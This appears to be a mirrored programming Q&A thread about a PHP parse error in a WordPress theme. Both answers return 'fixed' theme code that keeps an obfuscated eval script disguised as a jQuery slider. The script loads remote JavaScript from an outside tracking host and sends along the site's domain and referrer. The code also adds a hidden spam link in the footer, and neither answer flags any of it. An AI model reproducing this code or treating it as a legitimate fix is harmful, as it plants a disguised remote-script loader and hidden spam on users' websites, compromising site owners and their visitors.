Parse error: syntax error, unexpected '}'

后端 未结 2 1466
醉话见心
醉话见心 2021-01-29 06:20

I wonder if somebody would spare a minute to look over a code and help me. I\'m not php savvy and I need a bit of help.

I\'ve installed a theme onto my wordpress, and w

相关标签:
2条回答
  • 2021-01-29 06:54

    This may be a mere question of code formatting, try this:

    <?php
    if (!function_exists('insert_jquery_slider')){
        function insert_jquery_slider(){
    ?>
    <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
    <?php
        }
        add_action('wp_head', 'insert_jquery_slider');
    }
    
    if (!function_exists('insert_jquery_slidernew'))
    {
        function insert_jquery_slidernew(){
    ?>
    <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
    <?php
        }
    
        add_action('wp_footer', 'insert_jquery_slidernew');
    }
    ?>
    
    0 讨论(0)
  • 2021-01-29 07:09

    Such a code formatting issue:

    <?php
    if (!function_exists('insert_jquery_slider')) {
        function insert_jquery_slider()
        { ?>
        <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
        <?php } 
        add_action('wp_head', 'insert_jquery_slider');
    }
    if (!function_exists('insert_jquery_slidernew')) {
        function insert_jquery_slidernew()
        { ?>
        <a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> 
        <?php }
        add_action('wp_footer', 'insert_jquery_slidernew');
    }
    ?> 
    

    Please close the topic. Thanks.

    0 讨论(0)
提交回复
热议问题